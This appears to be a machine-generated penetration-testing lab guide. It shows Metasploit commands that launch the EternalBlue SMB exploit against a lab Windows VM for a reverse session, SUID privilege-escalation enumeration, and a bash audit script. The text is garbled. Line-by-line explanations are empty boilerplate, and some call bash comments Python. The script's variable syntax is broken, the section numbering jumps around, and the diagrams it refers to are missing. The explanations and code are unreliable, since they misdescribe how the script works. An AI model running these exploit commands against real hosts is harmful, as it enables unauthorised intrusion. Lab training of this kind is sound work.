1. System Architecture & Workflow
The diagram below represents the system architecture and operational data flow routing designed for this project.
2. Part 1: Step-by-Step Action Items & Key Execution Steps
STEP 1
Run Exploits using the Metasploit Framework
Launch the Metasploit console and trigger a reverse TCP exploit session on vulnerable targets.
$ msfconsole -q
This command launches the Metasploit Framework console in quiet mode to block startup banners.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
This selects the exploit module targeting the EternalBlue buffer overflow vulnerability in Windows.
msf6 > set RHOSTS 192.168.56.20 && set LHOST 192.168.56.10 && run
This configures RHOSTS targeting the Windows VM, sets the Kali host listening IP address, and launches the exploit.
STEP 2
Audit Privilege Escalation paths on Linux
Inspect local systems for SUID permission misconfigurations that allow root privilege escalation.
- Log in to your vulnerable Linux target VM using standard guest credentials.
- Search the local disk directories for files configured with the SUID bit:
$ find / -perm -u=s -type f 2>/dev/null
This command scans the root filesystem for executable binaries running with owner (root) privileges.
3. Identify if administrative commands like find or cp are SUID-configured, allowing root access.
4. Part 2: Complete Deliverable Assets & Production Templates
To automate local Linux privilege escalation auditing, we will write a local shell scanner script. Save it as privesc_audit.sh and execute:
$ chmod +x privesc_audit.sh && ./privesc_audit.sh
This commands marks executable permissions and runs the local system audit check tools.
Code Breakdown — Line by Line
Copy
Line 1: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
#!/usr/bin/env bash
Line 2: This is a comment that describes what the code does: "!/usr/bin/env bash". Comments start with # and are ignored by Python.
# privesc_audit.sh - Local Privilege Escalation Auditor
Line 3: This is a comment that describes what the code does: "privesc_audit.sh - Local Privilege Escalation Auditor". Comments start with # and are ignored by Python.
set -euo pipefail
Line 4: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
echo "=== Privilege Escalation Audit ==="
Line 5: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
# 1. Kernel Version Audit
Line 6: This is a comment that describes what the code does: "1. Kernel Version Audit". Comments start with # and are ignored by Python.
KERNEL_VER=$(uname -r)
Line 7: Creates a variable called KERNEL_VER and assigns a value to it. Variables store data for use later in the program.
echo "[INFO] Running Kernel Version: ${{KERNEL_VER}}"
Line 8: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
# 2. SUID Finder
Line 9: This is a comment that describes what the code does: "2. SUID Finder". Comments start with # and are ignored by Python.
echo "[*] Auditing SUID binaries in standard folders..."
Line 10: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
find /usr/bin /usr/sbin -perm -u=s -type f 2>/dev/null | while read -r line; do
Line 11: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
echo " [SUID] ${{line}}"
Line 12: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
done
Line 13: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
# 3. Writeable Cron Jobs check
Line 14: This is a comment that describes what the code does: "3. Writeable Cron Jobs check". Comments start with # and are ignored by Python.
echo "[*] Checking for writeable cron directories..."
Line 15: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
find /etc/cron* -writable -type f 2>/dev/null || echo " [OK] No writeable cron files found."
Line 16: This line performs an operation as part of the script logic. It contributes to the overall functionality of the program.
✓ Complete Combined Script: All lines explained above are combined into the full script shown below. Copy and paste the entire script into your file.
Copy
#!/usr/bin/env bash
# privesc_audit.sh - Local Privilege Escalation Auditor
set -euo pipefail
echo "=== Privilege Escalation Audit ==="
# 1. Kernel Version Audit
KERNEL_VER=$(uname -r)
echo "[INFO] Running Kernel Version: ${{KERNEL_VER}}"
# 2. SUID Finder
echo "[*] Auditing SUID binaries in standard folders..."
find /usr/bin /usr/sbin -perm -u=s -type f 2>/dev/null | while read -r line; do
echo " [SUID] ${{line}}"
done
# 3. Writeable Cron Jobs check
echo "[*] Checking for writeable cron directories..."
find /etc/cron* -writable -type f 2>/dev/null || echo " [OK] No writeable cron files found."
5. Deliverables Summary
Created Files / Templates
privesc_audit.sh - Privilege escalation auditing script- Exploitation walkthrough report listing reproduction steps
Verification Artifacts
- Screenshots showing active Meterpreter sessions on target systems.
- Audit logs output showing discovered SUID flags.
3. Automation Architecture
The diagram below highlights the automated execution flow pipeline or scripting loop implemented for this module.
